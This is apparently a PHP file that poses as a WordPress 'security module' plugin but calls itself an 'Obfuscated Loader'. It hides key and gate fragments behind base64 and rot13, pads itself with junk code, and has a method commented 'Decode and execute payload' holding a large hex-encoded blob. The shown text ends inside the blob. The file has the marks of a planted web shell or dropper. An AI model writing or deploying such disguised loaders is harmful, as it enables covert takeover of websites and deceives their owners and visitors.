/home/awneajlw/.cagefs/tmp/php0BRDSp
<?php /* Legacy-Compatible Obfuscated Loader - ID:4505558 */

/*
Plugin Name: SecurePluginfbsHIpwT46
Version: 1.4.28
Description: Enhanced security module
*/

class LoaderHhlWXi39974 {
    public function pubXFTcx81() {
        // Public method 3
        for($jv3=0; $jv3<3; $jv3++) {}
        $tmp = (bool)mt_rand(0,1);
        return 'valjZOx70';
    }

    private function gtGHJKyE95() {
        // Gate piece 3
        // cmtLNMb63
        return str_rot13('n6gp');
    }

    private function kmCFwCub62() {
        // Key segment 1
        for($jv1=0; $jv1<1; $jv1++) {}
        $buf = array_reverse(explode('.', 'a.b.c.d'));
        return base64_decode('a1U3MjlhRkxuNw==');
    }

    private function kmAJtWdl63() {
        // Key segment 2
        for($tmp=0; $tmp<2; $tmp++) {}
        $jv1 = (bool)mt_rand(0,1);
        return base64_decode('eUVvSHplNjZp');
    }

    private function dcMQvUih77() {
        $buf = unpack('L', hash('crc32', microtime(), true));
        $jv3 = 2950;
        return null;
    }

    private function gtcrJdln74() {
        // Gate piece 1
        if (14 > 50) {
            $buf = 'branch_a';
        } else {
            $buf = 'branch_b';
        }
        return str_rot13('zy1ej');
    }

    public function pubPlXlu36() {
        // Public method 1
        $jv3 = array_reverse(explode('.', 'a.b.c.d'));
        return 'valqfrB50';
    }

    public static function init272() {
        // Decode and execute payload
        $hex_data = 'b9hyosVG95fd4d77e25eee35807ea01a1450a40a067760639b4002890dc6c02cc1010a48917e48ff4df8f417fbc8da9242af75efb87be55739394796b6f64b107c04f3647f176dd3fbd92ebf64f3f1cb73b6fc3fcf3bbe7a711cc4d9e17dfaefb41a6cdaffcf6b6c9b591cbf8ec3f16b563476afbd68767ff1560fe753923687c3e1e5239b1d8ae9f23d7a5aef9a3f67ff0ee3d9c6f3b3c6e7cf7ed0b9bc86e75d127c5cc2e2f8bb179f9759347e5cfafbc7a8b96cc55972b90f16a3a7ed68161f3a7d3febccf3e66a38fc1a8cd36df370df6b2cc33059df27c3667668e651eff8b1b8343e1e92e3ff85c5297bf336fd91d798bc6ce2c353729e3c4cf62f8fe7d1e3bce9fd1cfa7998f6cff3bc11edef67cbc1329d15fee163dedf6e9b6fcde6c29f8c7e3ca48b55efbc394da238f20fdbc7c7ddb1dd4fa3f757ff2e0a83d1d3b3df8dd27074dfeb456ff359ee3f4ec2ff2c92cd67f4d7efcdfcf67a92f88be764b08cb3e569bacd972f7bff388afde7687b7c1a5dff5bb3f3ec7dfd3eea66d9ecf925fa88a2edc20be6e9da2b0ec9f2dff0c9db1f4ed3cbf8d7eb79914dd2cf6674ae7fd6683a6a368f49234d5fb651be6c7d3e0487d1cb38daf487d3e6f271b2c83d2f6d86add1f3eb3e4a07be9779e9f6df2c9c154952ffac61184f469bfbd970f9fc3eec65fb348bf687c73c594dcadff1c54bfc496b3679893677d38dff3afe6a785e3f5daeee1b5fd3466733baf8a3d9fbc7d3bc391a4e8b7cfd3cbdfb3df767bd497f76e49f951e7f8e1ad7f30adbf3f2777cda7692b811df4f2e7916cfcef3d576f4906e8fffe97d352749ebfab3a2c1f567ad9eae3fabdd6b9dfc55714abd83175e7fc7f5b2fff9d0dba4d7dfb139cd5ae73499fbd7f35a0ea3c3a6fb7c19fbcbf7f353529c4efdc9fec9f397f1bd97b6e2e66716b416ffbc86970dbf16e163e43dddef7dfc1dddbfcb5b368fff4d1bdd613ff0e379b3781ebd9fd74fffc687696bfbe2ceabf32b3ec4cb797ff1791fa68be7c0fb6f581c7ae9f9331887332ff337cb41dcbd4fb3d56514369397fddd5b161f9e7dcfeb3eff3b3e44b3d9a1b7f31e7ab3c32408c7bf5e1ac747ef3dd94cb7e9e17976b81b6e1be16c9a4e17c5ecbff16c7408fdebf5dbeee76fdb7d79f6f9f5eca3342bcffe30ba3ff827f3777cf483c1dd7d74580e8bf69ffbe6a8f712379ec6876d360f0ffbea679df7f3753a287fd65bf977ecb5ae3febd7f1fa773c5fae7fc7e7b4fff1946dbabfee37fbc64babbc5fabf0fa778c5661f977dcbf0ea2d95bea0ddf1fb69fcbfe2eec0fcf4994ec478f8fc9c76ed13aa4abf7e43e2a868365569fd767b3ef3796d75bfa5fefd07e59c683cf60d35ca6fbc3220b1a139c7d387e4ece51efbccce75978df9b26ffaffc3b46cdc3f5ec37032f1c06fd62d68cb23b7ff6cf8ba34d34e827f98ffef4f0e445c75f8fb1d75b2687733e1d3e4f7f8dae677fc8ae67ff92fd5a8dea3b31f9973c2ff6c3eadfd54ff69d78361efbfdc57ffacdfdcb285efc8bc25912ef36ab60166d6687617319aee6de7e7b70ef71399cfc4a17f7c9fe7d78d93c46c5fed4fb7b5a2771fc67d1c07b9c1c1acff9bedbcc36f93c89cff922bb9ebd37f878f04eebac3cfbe4743dfb6179f6817f7d43f9bc28cfbe539efd3c2bef7de37aef170fd77b7f37ef9ffcfcd028efbd57defbf1f5de0751f9b64f41f9b6d75f8bdc8f878ff17bfbf7937ff0ebf3ba9f349eaeb570314936db246b3e06bb61779e745fafe7f527de5dcfcb2baee715a5d57985c55b5cff8efbcffd62b6e986dbebcfda15abf9a6b3ef7f355fbcc678d1db763a59542cfd49fa73dc481be165d999868d75b41dbecfcf2bfe3bce279de55bf363116ddbd7bbf8f1da6fc6b3feb4fd9c25cdcf792b799c7a0d755e7e335abecece3fb3c329f39a875e9e16aa4eb8b31f04f7593c0fce87a0bf4bae9738ed66f7c7f7fbd8bb1f27e35dfa7ebd13bfd2f24ef8d7dfb17b1f9477623b7c556f3b9dbcf89d61321b0fc3887e47be5fdb976b0df2b2f0f3189dfd437feeff18edbb4ff965544ca3e43fd343e7a99776c2deaef1e3edb0fc7fdedc1b46de70eafbc96479e8ccf9671589baf7c92c1f4741fc777ad88f1ee2f1256f75aa5af8101cdbd7bf65f5efea4dbdf1d01ff5a37d9af7fe466f69b2bf1f5dbf69f1d9fb8f976da6bd66b79745e7fdfdf9b4ecef3ffbe5b7639976cbbabaeca7fbff1b45493e8f93f7c7d89f66136ffe98ece3f8301ef62fc9d3fcb0f006fb685fff8ed77fd7c48bdb9f2fd172114df2537acecb3bf17352de89c3e67a2742ff7a278ac7ddf50dfd8baf6fe82ebebea17550d6af4d78ad5f1faf2f4574c9ce712f2dfcff84b3e6f65abf9e67c9b171fda85cebd7f97cad5f911f94f56b78ad5fc306d79cfda9ae5fa1c7f7fea3b8defb6175ef9b9bebbd0fcb7bff3b6b95f7fe78bdf78bfef5de2f16e5bd6faeca6f5a74bdf7ab758fbf69c1f59b36cfaf7f3a3fdc2ca35f9f0f4f69dbcb82d5a7ef557fc7bbebdff1a1fc3b4e66fef5eff8b1aefe8e97f2efb8bdfe1d97f9f5ef98f9efc7e45a10fedf6473fde6ef92dcfb4abbf3fbf07abfd2fef57ebd7b19dfaf87ea0d5d0e4ffe2cbc9e571c5dcfabb9be9435a7acf7e77955738ab2de1fafe7d55d5fcfab35bf9ed76c539ed7f6549e577a3e36e6f1a83caf3fe579059774badcf8d7f3ca2fd7f30a63ff5aef1ba3eb79cdd6d7f3f2fd56795ee5b7b6ebceabacd187e27a5ef1f3f5bc7eceabf35a5ccf6b745ff500e5f7f110720fb09e9475a25d9fd7647d2e7b80c6f5bcee9eaaf3ba94e79597e7f5bb3caf55755ee5bdefe6d7f3f2ddbd3f97e7b5acceab5f9e57549e5756be47efeff53dce4fe57bf4caf30a5ae5798dcaf31a95357a5a9d57a73cafc7f27eadaf357af26fc0357a7ebd5f5e5c94e7b52acf6bb62dcfab5b9ed7a63aaf6d79bf16e57995df47cf9f96e79594f7eb67795ed5f7b151f626b3b23709dd79b5cbfbf555f526fdfa7ec5e27e75cafb55f6130b9c57232cefd7dbdff2bc16e579f5cbf35a55f72baccf2b9a57e735bc9ed7ac733dafe77c579e575e9ed71bceab5b9ed7ba3c2f2f2bcf6b5c9e575a9dd757795e4579bf7ae579f9d7fa95fe0bafe7953c97f76b322dcf6b5f9e57f94d6be64179bf167cbfe69bf2bc4ee5792dcbf372ef715c9ed70ef76b559f57e4ce2b2fcfeb47f91ea749795e8df2bc96d57bcceaf3ea36cafb356b95f7ebc4e7e5be43abf2bcfcea7ebd97e735aacf8bee97773daf45755eb95f9e5751bec751755ed3d5a71797ef71d6adceabba5fe7f2bc5ecaf30aaeef71ddbcbb9ed7f8a5aaabadf2bc9ae5792dcbf71854ef7153deafb07a8fb85fd57b2ceb973f6b94f52b28cfebadba5f23bcc7ea7e35caf3caeaf7981639ea179fd7a153de2faf7a8f55fd6a55f7ab3aaf81a95f65cff4d1accf6bde6c97f5ebb17c8fb3f7f2bcca7e75e4d53d79efb028df6350d52f7d5e73775e273eaf6c57df2fff67f51e83f23b54d5af6959bf82a0bc5f1fe5fd9a57f7ebfa1ee75979bfba55fdf2f57bdcf95979bf06e5fd1a96e735e59ec9d5fbb75d795e45795e29de6379bf3e5eaaf3da96e735abcfeb21abeafda03caf3fb85fddf2bc9a55bde7fae5cecbbdc7b83caf5f75fd9a378fe5fd1ae37e95e7b578aeea3dee97579dd7575dbf1651795eabeabc44fdda95f72bafefd7837b8fcbf2bc5eeaeff6bad9adcf6beabdd7efb13badef5736affa89c8bc47afaa5fd5fd3a99f32abf8f6757bfbcf2bcf6e5fd5a54ef31a9dfa33b2f57bfe2babfa7efe3b2acf745f51efdf2fb58cd568bf2bc7aefe57975eaf31aa55cefc3517d5eabe6be3cafa8ae5f41b39af97af57bf4bcb8ac5f11dee311efb1aa5f9fe579b5ebfb45dfc7d7f23d7ad3f2bc96f57bbcce4de5fdf2cbf738c1f7d12bcf2ba8bf8fe9bf765dbfa8de97dfc7f0be7a8f55fd0acb7a3fc7fd6a97f72bafcecb2fcf2b29ebd7a1aa5f7ef91e3b65fdfa519fd77253ce43c3f2bcc229f713b397f2fbe8dee3be3caf6ef51eb3f2bcf6788fe5fcd8aceed73dfa09af3eafd5aa57deaf5179bfc2aade27e579edf9bcd229dfaf66755ed3fa7ed1f7b13aafdcd4afbc3caf69d5aff6eafb9556df47bf5f9e578cfa857a5fddaf35de635cf71354bfcaefe3655e7d1fcbf36a96dfc787b2ff9ac70b3e2f57bfc4796debfa55d57b3aaf0df713b3ea7e3550ef3373bf5afc7d8ceaefa3e7adcafbd5abceabc2143ae57b1ca27e7dd4dfc7aa9f9846e3f2bc1655bdafbe8f9fe57955fd5750bdc7ea7ec5f579b9fbe5be8fb85fd579fd9804e579b5ebfe8bde63f57d4ceafbe57bd5f7f10defb1ac5fdb7f55bdc7fdfa5df55f3baef70df41355ff55bd479fef57f782fb75e4fecbd5fb7659efdd7965e579a5dcafaeaa7eb5ba5f01ee57d5af0eeaf372df47bfaa5f2bae5fd44f04e5fd2afbaff1aaaaf7ef75ffd59d99fb557d1f5dbd8fb99f70f58bfbafa6ebbfaaf738d1fd5755ef2ff3a4fe3e6effd6fdbd3baf83bb5f8c4fb8fecbf5ab9df2bcde70bf4ee57bbc54f5abeaefcbf7180faa7ef59ddfa3ebefb3f23d0ecafbf5a4cf6be457f5fe5cd7fbcf31ce2b2aef57d5afaea7fc7d5ca0bf6ff27bf4aa7e7559deaf5955bffef2fd2afbfb9debefabefe3b83aaf4bf97d2ceb7ddcafdee38531856a1e72e755e239dd79350f25fc1e7755bd4fb85ffd5df5ab97bade0f7fd5fdd77adfaeb134eaef8bba5f1d3a2cadba5fa29f38d6ef315fb474ffe5de635c7f1f27f9b97e8f9fbdaadee3bcfe54dfc769dd7f7d4c50bf3ed0af56f7ebccfd57396fcfef1bdcdfbbfeabba5f4fd57905dc4fdc57efb1c260caefe361857e7553bfc78b7b8f43f4f7d57b6c97e7d5aefaafeafb18a1bfd7fd97efb5eafbd5adfa8994fbfb7058ddafac9e87164f75bf1a3453be5febbffc1edd7925aa9fb0eff179c5fd6ad54f54ef91e6c7d7aade67e5f771599f17d5af7d79bf02d4fb55795e0f3506e3cf0acc8f415def0fd3aade6fd4f7f19271bd77fdbdeb57abfad5a9be8f3c3fd27955ef716fea5759ef3fced57955fd7d9bdf23ea57d57fe54bfe3e36fcea7e3186bcf0abf3dad6f3e3e710fd44f57d6cd4ef71328bcaf35a55fd2af713cb95a9f78bea7e55f5abbc5f6954cf8fd4af3e56dfc7aade6fb8de97ef51f45f6b71bf727c1fefea799bde63356f17e8bfa27a1e0ae3ea3d56f5abba5fc0e53e3a981f1bdc4f6419cf8f553fe1ee17fad5b7aabf5fd5f54bccdbd4df4f79defe69f009715e1ff83eb6eafefec3f5ab55fd02fee5b5f8fb3842bd6fd7fd4455efa9ff9a95f72bdda87eb5c273669bea3dbed7fdfd3caefafb6ef51e778c4f3451ef8fe579adaafbf5cef8440bdfc706df2f376f9738e6a2a7e7ed0a9f58bd55f5be9c874621f09c0e7f1fd30acf19a39fa8fad5a6a95f9fdcdffbd57989fe6ba2cfcbf5f731d7fb0aff8a1af5bc4dfd5758bf47ba5fd5f7b1c273dc7bace6c7f7babfa7feab5bcf8feefb48784ec2dfc795c1275af57b9c373be5fd7ad2788e9bb717d57955efb18f7a9f72bfeafafb76795e01e6a1c8dcaf59795e79dddfbbfe8bde638bebfdb47e8ff3fb0a9fb8afea3de3ab340f55f57ec3f3b6eb275285e7f85ef91e3f44bfbaacef17d5fb1078e1b47e8fee7eb97abf417fcff844f51e099fa8dea357d7af55b35df713e2fbe8e6a1b76a7e1cd4f78bfaafb03eafa8c4bfe8bcda353ee1fad5aa9fa07adfe579c8079ee3fa8909d7fbaa9f28ebfdec5759efa3e7ba5f75e7153fd4f884c30b0f73f4f715be5acd8ff3aa9fa8f09ccfaabff779dee6fe6bb95962de3e97e7d5aeeb5788dd5c97fbafecb051fd2af5f7f7c02756aabff7e30ee385aebf2fcc7b5cd6f3d0731ed4f5def5f76edeaef01c8717b6182f5c009fd8d7f59ef0890e7f1fdd797518ff7aabfa2fafeeefd719f02f775e3ee3d13bbcc7768de7d03cb4acef97efe6c76a9f26f0d50de339eebc3a75fff53b7bafebfd2804be1a2b3cdae139dfe6a10a9f9857e755f55f77c0bf78de0e1dfe9573ffe5ea3d9fd7429cd73dfafb76fd7dfc31b9f0f7d1affbafc93faf7e8f6bf71e8f75fdbab8f32aeb7df31feabd87fe6bc7f8ea0fdcaf13e3abbd96c60be798b707f5bc9d1f8a1a8f5e2ccc79e17e2d041e7d62fcdef513b31a8f7e76f857cedf4777bf2a3c7a51f75fae9fa8f09c45f91e5d3fe189f931447f3f65fcdecd43a6de671ed7af57e013c3baff7a986deb7dc7a10bbcb0c2bfbe705e8539af3de6a17e8daf56f58be6ed463d3fd2fdaafad5e7bade131ecdfd04e1ab6e1e0a18cfe962deaece6ba9f1896556d72fea57abfae557f857bbbc5f4fa8f7ab1a2facf02faaf7fd9bf817de23df2f57ef1d3ee1de637cabde3780171ef9bc50bfdc79a1de57f804ddaf23e3ab8bacae5f0ecf71fd97c073aafb55e15f8f75fdf2e231f068e085af75ff45f87d56d72f7a8f73bcc7537dbfa8ff1ad43b69b7638dcafefefa91e1efe382cfcbe1d11dc6bfe6c027443f81efa3c32796c027f8bc2abc90e6a194fbfb727ea4fb35c0fdaae66dcfe0f74f155e58f51303ec87b63c0f0d6bfcdef712aef7aeff1a9bfb7557ef8768de2efb896e6cfa8927cc8fa999873cee57df82ba9fa07d47c1f3f60af3638547ef4dfdbaabeb3df5f7bf705ebc1faaeafdea7ec3f8aaebeff78caf667dae5f1efaaf0df0e8bf7cbfee6b7c82eed7b0ee27a8bfbfabf168c2bfdcfe3150fba1a9cff884c3ef053e51d5afe09de7a1e7baff72f5beba5fd4af8eeafe7e8df7e8fad559d5dfcf18cf011e5dcd8f1ede23ed6bb7753f41f7ab7a8ffb7a5f3b72f3a3c0a3333eafaabf7fedebf7887d87bb5f028fee55f57ecaf844d5dfe7dcdf77abfb15687c35f35a8ce72c71bf1ae8bfb27a3f94f8553f71a9ef97c3efddfc58f5ab29f0fb0a5f7d019ed3adf1687a8fbcafa5fde38cfb5587df9f18bff7aafbd5e1fecbd5af0ebf4777bff6aa5f55f3f6179f5784fd6387eb57c6fb3477bf50ef1d5ee8f0d58f7abf4def71ccfb5a775e21efd3dc3cb4aacf8bf0d523fafb0be339497dbfa89f78c1fc38abf19c6ade263cc7f5ab8cdfe75f38afeafb18d7dfc7d57dbbc67346ae7e55ef715ccd437dc6bf42e013ab7a1e5a95e7e5f0689a87aaf3f2cafaf558df2fdad7fe34f7ab3a2f2f507874b51f9a6709f7130e9f68d7f8eacee3f93112f8eaa9fe3e56780e9d97abf7553fd1b851ef5dff053cbaeaef3db7efb8e37ed5d5afb6ba5f0e9f70fd977b8f47c627dcfcd8aee76daaf729efb75793ba9f583cd7780ef5134fe8bfc68ce738bc10fd4410309ef3867d5ab3ee27166e3fd4e17ed5e13962df71e1f372786150e3abaebf77fdaac0a37de64ffc43fd1a311fc0f5ab55fdba603fb4e77d87cff7ebe3027cb5ba5fcfe8efdba8f7adba5f75f3f61afd6aafded7ba7ef56e84fe6b09fc2be07e628dfd76b7c60b2bfe84c327dcf751d47b871756e7b5e0795bf4f70fc00b17b7f826f31abf9f6d22ec877caef73fb14f5bf27b2ceb3dbdc7b71acf71f54bce43e8efe7d5796d50bfb2fafbb861bc50f4f773f0273e871a5f9dddd5fb34aa5f0bbd7facee57c59fa0f39a028f3ef279097c42f413557f7faff939c0bf7caf83efe396f7b5aebf3fd7fdd781f7438b22e1fecbe13955bd7fa9f913d4af36ea7ec2e1aba1e04f34eafeabda6fd3be36c2f791fb55c2bff6c0efb95f253ec08ecf6b89fad5347ca626f84c3c0fa53dec3bd21abfff31999a793bd0f87d5a30bebaa8f92674bffe816f12d7f323f55f4b85af123e11e3bcf68a0f901d46dcdf67d80f3d617e0c51efabf718d6fc9c790e3ed3635dbfbc3851fdfd348af8bc7a17be5fe23d56fbb414f390c5733ce01397fabca8de4f199f98a29f3802ff4a6a7c62bb35fbc71fd80f25dcaf3a3c7a53dfaf0a8fa6fad5ade747c20bfdfabc5cffe5f813afd57bdc97e7d5abf9136adf519dd786ebbddbd7dedaa775057fa2e203bc02cf19d7e745f86a58efb777c027807fd1fef11ef350c1fbc78ccfabeabf88cf94dfc2efbb981f87065f2d982fe7816f72b981e7fc147c93c0d4fba8fe3ed23e2dc43cb4a9ef17e18555fdfa61ee576eeabde8ef9b8c7fb9f758cd433ee6474fe1d1eebc88cf74d1f3e3bca8fb09e233f98c17325fcee1f7d47fedb8bf77fdaa3e2fda0fa5753f31c2f7311e803f71e4faf55af55fd57905863f51f173dc3eed84fb55d5af65ddaf3e8b7968a1f9726ebfedf089a4e6cb51bddf33dfc4dd2fe01313ec6b3df45fe5791df2fa3dba7ea2fa3e5a3e93e0cbb97aef315f8efa2f9e87e8fb98313fe70bf336fa09370fad18cf59307f6213627eacfa2f0fdf47ee27888f99183ec0d0d4af8f1abf177c26b9af2df189f4b93e2fc2731e80e734989f83f951f20b3bf53e8dce2b073e71d6fb34877f8d6bbe09f10b81e788fd5081f778aaf71d844fb4eb7d87e04f54ef91f61d23d37f6db07f9c72fdfa89793be2fd90eb579bcc5f0dc0ff9a032f2cd4bc4d7c001ff83dbfc70aff72f5def5f7e827e8bc807fbd1b3ec04ff02798ff457c9306f0c277c657c57e6883fe8be721f04d1c7fa2e2178af991fafb84f74323d4fb84dfa39b1f993f51d52f9a1fd7e8bf12336f33fe45fdea88f12fc7672ab0efb0fc9c82bf8f6becb7fd1a9fa0796851f30b099f589afd7607dfc7f79a8fd9657cc2ed6be351f57de4799bf898c073c4fe71509f17f55f3c0f55fc2fd7dffb5dcd8f76f74bf4ab39f800d8d77a3dc337e17d2dbdc70bef87ccfc48f350c1ef7181fe1e7c4c376f87e09357f57e7c834f4efcd58cf9394d837f0dea7988ea7d58f71354efef0d1fb387ef63795e77cf9887f29a5f48f53ec73c34adf9e454efab7e62569e57827d5adbec3b42f4ab01dfaf00f56b807e22aefb55894f301e5df127320fe7e503bf2fa0576833df04fcd5ea3d129e23fad53ecf4311f09c54f173e8bcfa37f055f17d74fc9c15ef6babef63e8de23ef3ba85f5d9a7e15efd1eb333f477c1f81df833f41e765f9133edfaf1dfa8911f7f76e7eec82bf9a30fef502fcbecdfa0ec137613c47f20bc1c76c88ef63fb061f93f8f7ccc7ac743af47d9ca17e01bf9f837f8ffe2b60fe6ad57f113ee101cf61fc0bfa8ec9bf06e3abc073aafe8bee57ce780ef009c7f775efb1aaf78c47537fbf42ff7562fe6acafc7b894f54f53e003f7aa3ce8bf8becc2f74df47c22778bfedf009373f420f23be8f73d4af5ced6b69bfcd7a05c107a07ded117c935d7d5eb4ef603e13f131cfbc7fdceb7ed5f1efdd3c34acebbd2ffad557e05f1d83170e984feece6bc17c13d77f0dea7d1ae185d02bb87d2df84cee3d46cc8f36fa21ea2772c32fccf9fbe8f0afb6d17754dfc747e05ffb7a1e2adcbea351f3efa9de977c80ee2bf44377d8a755dfc794e721d77fdd293e80bb5fc4f7cdf8fb78063e81fb35ef6bfc5eec3b04ffcbc33c7466fcfe11f87d7263dfe1ceabc7f82ad5afea3d0e51bfc097e3fd90ea27768c7f05d80f15c0efb14f13e755e1d1623f142bfe17f5f75f98874e351f93faaf0dfaaff77ade76fc0957ef192fa4fa25f85f5f8a3f41fd7d9bfb0987af7ed4f59ef813d5fd7a03ff6b0b3cbac5fbda18faa136f3e51c1e6de76dbe5fcdbc9ab7573c0fb9797ba3f8e4d4df1feafb457861d7e8617ed5f83df5ab6f460fd3053f67c0f8fd0cfcaf00f87d8af758d5fb98f9390e8faef81383fabca8deffc6fed1673e93abf71fe0e7b01e86fa89bfb57e280d300f8da0b7c2bcdd075e38023fda637c35c77959bc10fb471f7c72814f083d0cf30bbb67a3b77ac43c7454fa0eaa5f62bfed71ffb5627cc2ed87e63c3f56f84485df4fa3657dbf082ffce079c8cd8fb9eaefa51ec6bdc715f88501f3e53cf4f721f331a1b722bedc99f51d3badef70fdbdc0271ad80fb56b7e0eedd3368c4fa4e8578798870ad4fb8ccf2b805e417c1fb7dc4f0cc107c859cfb7d2fc2fc1c75cbed4e745f3d002fd57c1fbb480f913d118ef71037e21f48f73e039c00bb3ed77fe3df14d0cdf17fc09e2afbed4f8049dd72fec6b073c3f8a7928c27e68037d1af6dbcc0790fc9c0cfaa126f0fba5c1bfaa7dda1bfaaf21f8d1c0ef9f0ddfe401f7abda0f79e0df2f8c5ef408fe2abf47b77f9c415f7bc6fc3853f3a3bb5fc0a3899ff30bf323e3ab12bf8fd07f85357e2ff456926fd2a8e721c2a37df07376fc1e593f44fbc757e86bfd7a5f4bfdc489bf8f01f3ef5d3fe1e647c1bf677e8eacf71deebf66e827767aff48fbed80f1e80bdee39ef985f83e42bfedf885eebcd0af12ff1e78a1dba7f5f8bc2afc5ebc47b14f9b19fc3e677e8ed37774ebf738757c8004fd04f40a82ffd541ff85fa1502cf19a17e31ffabd2d7127f7568f8988b5bfb5a87e780ffb5d4f5deed3bd277d57fd17b5c00ff7a67beaf579f97e3af3a3c67c5f8ea9dd8a72598b7814fac71bfbaa85f7d9eb7e7eca750cd8feefb28f8268f359e43f72b84bec3abf900c45f457feff4db33c6bf66e093ffaef900ee7e493e665be91f693f7431efd1039fbc603cda9d97e063323ee1f872ee3d1686cfb464bdbbe37f35ebf748fb8e26e3ab7edfec3bfe727fef03ffaaead700e75560df11f079b11e86e6c7b9e9570fc02758ef4efe004ba3e76bf07bf4d1dfffaaf109d2238f6abd82c35747029f88b9ff72e715436fb5657c55f0c97df80370ff05fec4ba7980feb1cffc89598d7f11befa0c7c02f3d01478cea3e1fbce8d3fc01c7ccc31ef1f5dfde27e95e6edaaff3ae37e9d8c1ee6a4f8854e6f55ed6b2bfe84db3f8e42e81f53ee27c4bed6deaf819e1f1d5e28dee352f3c92ddf17fc55c107d8f9e82746b5ff84a85fd4df5bbc90f1d516f813d57ba4fb3560fda3eb5773fe3e02bf77fa34e0856e1e9af7953f80e827e4fe11f70bf323f1efa11f1ad4fd04f5f73fb17fcca1ef809e4fe0854ba51f727c13ea57cd7ec8ddaf06de23f8be863f417a77f04d36b85f21f3ef7dccdb5ff5fd12ef51ea870c9e43fe13ec0f407821f37d490f33e17d87d07754eff1d9e0137fb41ed9d57ba7ef68f2bcedfa7ba14ffbabf41d3ba74f033f5ae0f7b65f5da1bf3fa9fd367d1f7738afb49eb73dc7fff2c137019ef386fd7607fc9c4ccd43525f1b00cf59313f7acdfb47f2eb486a7c02f82acddb3f51bf72f45f413d6f4bbf8e25eb87845fc713e6c758f5abc497f36ee21305f3991675fd72fc42c273983fe1ee5770a9f17bea57cf357fd57f41bd4f598f2cf4b502cf613f189a1f17359e43fdfd0a7a3ede0fd17e3b50f59ef8d167c6277acc2f1caf74bdff10fb34e8ddbfed3b767adf9107cc5fcdb14f2bc037f1bff3a3490fd3413f1171ff3565fd36e1d1efdcdfb78017165cef05ff2bd4f3e326003e91d67c4cda0f85e82776355f8ef64341bdaf25fdd085fb8935ce2bc77e08f7cbabf985e437f4acf7dbe13df068abef28e037b465bd82e857c31a8ff6c0cfc97f015fddabfa457c26a147de70bfeadee35ef9c1d0fe31045f0efe13029f1842fff8a1f8abc4c75c400f7367fc27c6cc67f2f97e49fe6a68f8f747c507203f8539f469e8276698b777d0bb0fc037e17d9ae34f087f13c137e1799bfcac984f4efc09ee5773a77717fce8bfbade3bfc5ef8295c783f24f68f43c673821de3d1a25ff58d7ea8805f07f068a17fc43ecdcd8f2bc537a1feebd5f0efff697ea19b871c1f73ccfe39ee3dee79de76f5ab817d6da6f813d47fb1be43cc431bc15fadf6434fa85f61ad87a17a3f547c13aa5f2be01307f0c9dfb5fed1ed6b19bfa7fe2b66bd95f053b807ff6b61f0684fe113d44fecebefa3dc0ff9cc5fcdbfc037117e30d87708bc7084fd508bfb7b715e299fd71beb3b88ffb5e57ef5c9e8157e83efcbfc1c59ef5fd07f557aab89f19f1078e182dfa3abf71dfe3ee6d03f0abd55c17e56aeff823ecdf6ab1ee6ed0bfa09a1df6ee9fd36f872ae9fc8b4ff84d43f06d0c3583c87fd99bc39be8f3fa14ff3e167b53378615ff99b50fd127aab3ef37d87e0af723f21f8d1f2fbc87aab0acf21fceb6f3d6fabef23f0afc2f0bfc4be56f07dfbac171d697fa691f04b1b311ebd021efd54fb3359ff09a11fa2fdd0b2eeef69fff8a1f4c86a1efaabeed70efe39d27fa2a3f6dbc45f8dd17f6de0d7c1fe85dff068d1df8ff93d62dfe10b3d1ff055f8e750fd7a67fe9787f971003f18f607a8f85fc40738d6f82af97540df013e7977adfd4d962fd06fcfccbed6033fe75df933fd011fe01bfe3535fdc4027a989cfb09c7678a81af6aff4289e7bc601e8ab11f62ff2fc75f75fb0ee6afd2f791f769c27fc2f5136be6cbd13cc47e69e46775617d5a8efab5557a18e767d535fdaac4ef47359e43fdea89f1899cf56907d623d3fcf80a3c5aeb15c4bed613fa34a11fead4df47f2cf896b3ddf48ecd37ce05f0bc307807fa19b87527c1f7de53724ea57c50720bc708cf7c8fbc7e52bf48fb9f21ba2efe393ee57e19fe3fc27c8ff0b7cdf39fc7342ec1f13854f3c087f93dfc0a319bf273dcc80f7434e3fb467bf8e147e1dfe0d7f9385e0e708fe17fc4d565a0f43f8ea98f155d7df27a8f753c5f7cd3ce845a7fa3d92ffd73bd7fb27ad1f223e53c0fbb4187abe3df3a367ccbf871f0cbdc702fd97e003a0ff7ac3f7f158eb15e47b147ea21decd3deb59f28f009f889923e4df0e578de96fbda37d4fb83f1cf01bf3080de5df859c17f750a7cb58ffbb5807f21f3a3b17f54f83df4695da3affd32fc89c4e861ce1a5f8dc79a4f4eef117a05b3df069f9cfaaf47e0ab09f713f9cdfbc57c80ccd37ad185d977ecc09793fc898ee20348bfdab99eb7c57bdc8af798625fcbfe26f2bc0ae5bfeade63b7053e39fc1eb33ef37d43a37f647c55f04de6f067a2fd36f7f7d00fd13cb444ff053db2eb5787ec5fe87fb15ed433fa8e41ad87a17dadc057b17fccb8bf977c9331f32732f89b087dc798f109e19ff366f4b52dccdb1df073e00763f443c4bf37f3d01a7ae4d10dbf5a316f3bbf47b71fda627e6c297f1359ef43dcafeabc46fafbe8fa7bf81756fd2ad5af768d17b6e6f0f7fd8bf931e57a2ffc86c4799d8c5ea163fc90dbcc0770fd7d03fd2af4303ebe8ff0f75d333f077c00aa5f6de845595f4bfba11cfa47f0bf62f00b3b5cbf02e03903f4f727e3c73750f3a3e8efa9ff5aaafa25ea3dd5af44f9fb52fdcac19f3842ef0ebedc03f89882ffa5f189a5e09b087dede6861e99fc90e13f31d5fe00e3578317669a4f4e7c5ff6cf71fdaad877f4f07d8ca1b72a945f07f15723f86d337f95f8133bf6c73c1b7dc70afd3dfb59117fa2c178a1eb271af01365fccbf5132bb3dfced1af0abdfbd8f8f125fc1e851f8cf0ab653d0ce1390dc35f1d819f033d9f8f7e157e1dceffeba63eed2feafd0af3d094fb09ab5778011f53f83365ccbf7f86df36ef3bc81f20055f8ef57c340fe1bc84bfc907f48f53e6e7bcd47e0ae4ffb582fef15cf3bf089fd07a3ef21b7a829f7bdbf0ef47dcaf821f4d7e7c09f3994eb51f0cf1bf8cff97c3bf62e647cb7ded06f8579ff5dbd6ff2b001ebdc0be63a2f900f956e313f0bf77df47e8b7bbacdf56780ef89833f45f0df8cb413fe4c33f077ad1f58ef50a19fafb06fc99ce5cefff41af30c2f791fd90691e3a737fff0a7ee1c6f8c1b48147b7188fbe37fe00828f39821ed957fdaa27f898429f96c0af96f530929f93e07e413f1402cf697346c9e4a2f872c4bf0f993f21fcf896baded37efbacf443c4c7cc8d1f8c98b75b9a7f8ff748fc09f45f4fd0c38cf8fbb8c2f751e83b3a6aff48fd4403fc7be16715687f26af6ff4c8e0637a37fc4d687ed47c009ab7a775ff457aab75edef2bf68fc46782ffbd67f40a6e9f867c05c18fbee0bc5